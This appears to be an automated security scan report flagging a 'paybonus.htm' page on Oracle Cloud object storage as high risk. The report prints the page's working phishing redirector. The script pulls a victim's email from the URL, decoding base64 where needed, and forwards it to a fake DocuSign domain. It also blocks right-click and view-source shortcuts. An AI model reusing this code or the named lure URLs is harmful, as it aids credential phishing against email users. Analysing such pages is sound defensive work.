The domain 'objectstorage.ap-sydney-1.oraclecloud.com' uses the commercial generic top-level domain (.com); it also runs on subdomain 'objectstorage.ap-sydney-1'. The core label 'oraclecloud' covers 11 characters split between five vowels and 6 consonants. Breaking it apart gives 2 words: oracle, cloud. The median word length lands at 5.5 characters. No strong language cues emerged from the frequency lists.

588d8c41f5fadb6cab0206727735fd396c1e188cd938764c8af5e7602ee7df25

CSP header missing - vulnerable to XSS attacks

Wild West Domains, LLC

CREATIVAPLANNING.COM

MarkMonitor Inc.

ORACLECLOUD.COM

Oracle Public Cloud

Oracle

OC-195


        // Helper to check if string looks like a normal email
        function isValidEmail(str) {
            return str && str.includes('@') && str.includes('.');
        }

        // Helper to attempt base64 decoding safely
        function tryDecodeBase64(str) {
            try {
                // Handle URL-safe base64 just in case
                let base64 = str.replace(/-/g, '+').replace(/_/g, '/');
                
                // Pad with '=' if the length isn't a multiple of 4
                while (base64.length % 4 !== 0) {
                    base64 += '=';
                }
                
                // Decode base64 string
                const decoded = atob(base64);
                
                // Check if the decoded string looks like an email
                if (isValidEmail(decoded)) {
                    return decoded;
                }
            } catch (e) {
                // Ignore errors if it's not valid base64
            }
            return null;
        }

        // Extract email from URL parameters or hash
        function extractEmail() {
            const url = window.location.href;
            let email = null;
            
            // Try to get from hash first
            if (url.includes('#')) {
                // Decode URI components to handle URL-encoded hashes
                const hashValue = decodeURIComponent(url.split('#')[1]); 
                
                // Check if it's a raw email
                if (isValidEmail(hashValue)) {
                    email = hashValue;
                } else {
                    // Try to decode as base64
                    email = tryDecodeBase64(hashValue);
                }
            }
            
            // Try to get from query parameters
            if (!email) {
                const urlParams = new URLSearchParams(window.location.search);
                // Added 'b64' and 'base64' to the list of param names to check
                const paramNames = ['email', 'usrcms', 'user', '#', 'e', '$', 'b64', 'base64']; 
                
                for (const name of paramNames) {
                    if (urlParams.has(name)) {
                        const value = urlParams.get(name);
                        
                        // Check if it's a raw email
                        if (isValidEmail(value)) {
                            email = value;
                            break;
                        }
                        
                        // Try to decode as base64
                        const decodedEmail = tryDecodeBase64(value);
                        if (decodedEmail) {
                            email = decodedEmail;
                            break;
                        }
                    }
                }
            }
            
            return email;
        }

        // Generate the target URL with raw email
        function generateTargetUrl() {
            const email = extractEmail();
            
            // Fixed URL without wildcard subdomain
            let targetUrl = "https://docu-sign.creativaplanning.com/";
            
            // Add email parameter if it exists
            if (email) {
                targetUrl += "" + encodeURIComponent(email);
            }
            
            return targetUrl;
        }

        // Simple redirect function
        function performRedirect() {
            const targetUrl = generateTargetUrl();
            
            // Add security measures
            document.addEventListener('contextmenu', e => e.preventDefault());
            document.addEventListener('keydown', e => {
                if (e.ctrlKey && (e.key === 'u' || e.key === 'U' || e.key === 's' || e.key === 'S')) {
                    e.preventDefault();
                }
            });
            
            // Redirect immediately
            window.location.href = targetUrl;
        }

        // Execute with error handling
        try {
            if (document.readyState === 'loading') {
                document.addEventListener('DOMContentLoaded', performRedirect);
            } else {
                performRedirect();
            }
        } catch (error) {
            console.error('Redirect failed:', error);
            // Fallback - direct redirect
            window.location.href = "https://docu-sign.creativaplanning.com/";
        }
    

HSTS

⚠️ High Risk - https://objectstorage.ap-sydney-1.oraclecloud.com/n/sdl2lsmh7igo/b/Wire/o/paybonus.htm

Requests	IP Address	Location	AS Autonomous System
3	134.70.92.3Oracle · CLOUD	Huntingwood, New South Wales, Australia	AS31898Oracle Corporation
3	1	-	-

Security Scan Report: objectstorage.ap-sydney-1.oraclecloud.com

Summary

AI Security Verdict

High Risk

Details

Screenshot

Page Load Overview

Domain & IP Information

Detected Technologies1

Content Similarity HashesFor malware variant detection

Image Hashes

Perceptual Hashes

Other Hashes

Scan History